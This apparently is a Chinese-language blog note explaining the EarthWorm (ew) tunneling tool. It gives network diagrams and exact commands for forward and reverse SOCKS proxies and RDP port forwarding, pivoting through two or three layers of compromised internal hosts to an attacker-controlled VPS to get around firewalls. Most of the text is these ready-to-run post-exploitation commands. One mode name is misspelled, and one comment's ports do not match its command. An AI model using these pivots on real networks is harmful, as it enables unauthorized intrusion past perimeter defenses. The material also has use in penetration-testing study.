安全小白成长之路

0%

ew使用笔记

EW链路模式和参数

六种链路状态:

ssocksd 正向本地 socks代理

rssocks 反向 socks代理(server)

rcsocks 反向 socks代理(client)

lcx_slave 将远程主机的端口 与 另一台主机的端口建立转发关系

lcx_tran 将本地端口转发至远程主机

lcx_listen 本地端口转发,本地端口之间建立转发关系

参数信息:

-l 指定要监听的本地端口

-d 指定要反弹到的机器 ip

-e 指定要反弹到的机器端口

-f 指定要主动连接的机器 ip

-g 指定要主动连接的机器端口

-t 指定超时时长,默认为 1000

socks隧道

普通环境:

  1. 目标网络边界存在公网IP且可任意开监听端口:(正向代理)
    1
    2
    3
    4
                          目标公网机器A
    +---------+ +-------------------+
    |HackTools| ->> | 8888 -> 1.1.1.1 |
    +---------+ +-------------------+
    公网IP_A = 1.1.1.1 执行如下
1
./ew -s ssocksd -l 8888   // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理

HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理

2.目标网络边界不存在公网 IP(能出网),需要通过反弹方式创建 socks 代理:(反向代理)

1
2
3
4
                    自控公网VPS_IP                       可控边界主机A
+---------+ +--------------------------+ | +-------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <- 2.2.2.2 |
+---------+ +--------------------------+ | +-------------+

VPS_IP = 1.1.1.1 执行如下

1
./ew -s rcsocks -l 1080 -e 8888  //在 1.1.1.1 的自控公网VPS主机上添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机

内网IP_A =2.2.2.2 执行如下

1
./ew -s rssocks -d 1.1.1.1 -e 8888  //将目标网络的可控边界主机A反向连接自控公网VPS主机的8888端口

HackTools 可通过访问 1.1.1.1:1080 端口使用 2.2.2.2 主机提供的 socks5 代理服务

对于二重网络环境:

1.获得目标网络内网两台主机 A、B 的权限,情况描述如下:

1
2
3
4
                    可控边界主机A                 可访问指定资源的内网主机B
+---------+ +-----------------------+ +-----------------+
|HackTools| ->> | 1080 --> 1.1.1.1 --> | ->> | 9999 -> 2.2.2.2 |
+---------+ +-----------------------+ +-----------------+

A 主机: 存在公网 IP和内网IP,且自由监听任意端口,无法访问特定资源

B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网

A 主机可直连 B 主机

内网IP_B =2.2.2.2 执行如下

1
./ew -s ssocksd -l 9999  // 在 2.2.2.2 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理

边界IP_A = 1.1.1.1 执行如下

1
./ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999  // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.2 的主机。

HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.2 主机提供的 socks5 代理。

2.获得目标网络内两台主机 A、B 的权限,情况描述如下:

1
2
3
4
                   	自控公网VPS_IP                       可控边界主机A       	     可访问指定资源的主机B
+---------+ +--------------------------+ | +-----------------+ +-----------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 --> | ->> | 9999 -> 3.3.3.3 |
+---------+ +--------------------------+ | +-----------------+ +-----------------+

A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。

B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网

A 主机可直连 B 主机

VPS_IP= 1.1.1.1 执行如下

1
./ew -s lcx_listen -l 1080 -e 8888  // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机

边界IP_A= 2.2.2.2 执行如下

1
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 3.3.3.3 -g 9999  // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道

内网IP_B= 3.3.3.3 执行如下

1
./ew -s ssocksd -l 9999 // 在 3.3.3.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理

HackTools 可通过访问 1.1.1.1:1080 来使用 3.3.3.3 主机提供的 socks5 代理

对于三重网络环境

2.获得目标网络内两台主机 A、B 、C的权限,情况描述如下:

1
2
3
4
                   	自控公网VPS_IP                       可控边界主机A       	       可控内网主机B           可访问指定资源的主机C
+---------+ +--------------------------+ | +-----------------+ +----------------------+ +------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 7777 | 防火墙 | <-- 2.2.2.2 --> | ->> | 8888 -> 3.3.3.3 ->9999| ->> | <- 4.4.4.4 |
+---------+ +--------------------------+ | +-----------------+ +----------------------+ +------------+

A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。

B 主机: 目标网络内部主机,不能访问外网,但可被A主机访问。

C 主机: 目标网络内部主机,不能访问外网,可访问核心区域,可被B主机访问。

VPS_IP= 1.1.1.1 执行如下

1
./ew -s rcsocks -l 1080 -e 7777  // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 7777 端口的主机

边界IP_A= 2.2.2.2 执行如下

1
./ew -s lcx_slave -d 1.1.1.1 -e 7777 -f 3.3.3.3 -g 8888  // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道

内网IP_B= 3.3.3.3 执行如下

1
./ew -s lcx_listen -l 8888 -e 9999 // 在 3.3.3.3 上将8888收到的代理请求转发给9999端口

内网IP_C= 4.4.4.4 执行如下

1
./ew -s rscoscks -d 3.3.3.3 -e 9999 // 在 4.4.4.4上启动socks服务,并反弹到B主机的9999端口

HackTools 可通过访问 1.1.1.1:1080 来使用 4.4.4.4 主机提供的 socks5 代理

socks代理工具

windows:SocksCap64
linux:ProxyChains

端口转发

正向转发:

拥有公网IP和内网IP的双网卡边界主机A和内网主机B=1.1.1.1在同一个内网

边界主机A 执行如下

1
./ew -s lcx_tran -l 33890 -f 1.1.1.1 -g 3389

连接A的33890端口即可连接内网B的3389

反向转发:

自控VPS_IP=1.1.1.1 执行如下

1
./ew -s lcx_listen -l 3380 -e 33890

可出网边界主机B=2.2.2.2 执行如下,内网不出网机器C=3.3.3.3

1
./ew -s lcx_slave -d 1.1.1.1 -e 33890 -f 3.3.3.3 -g 3389

连接自控VPS_IP主机的3380端口即可访问C机器的3389

值得注意的问题:

如上环境和命令,区别为可出网边界主机B=2.2.2.2为本地win10,内网不出网机器C=3.3.3.3为虚拟机win7
发现不能通过自控VPS_IP主机的3380端口连接win7的3389,疑似为win7在虚拟机中登录后占用了“本地”“连接”“本地远程桌面”的会话(单用户模式?)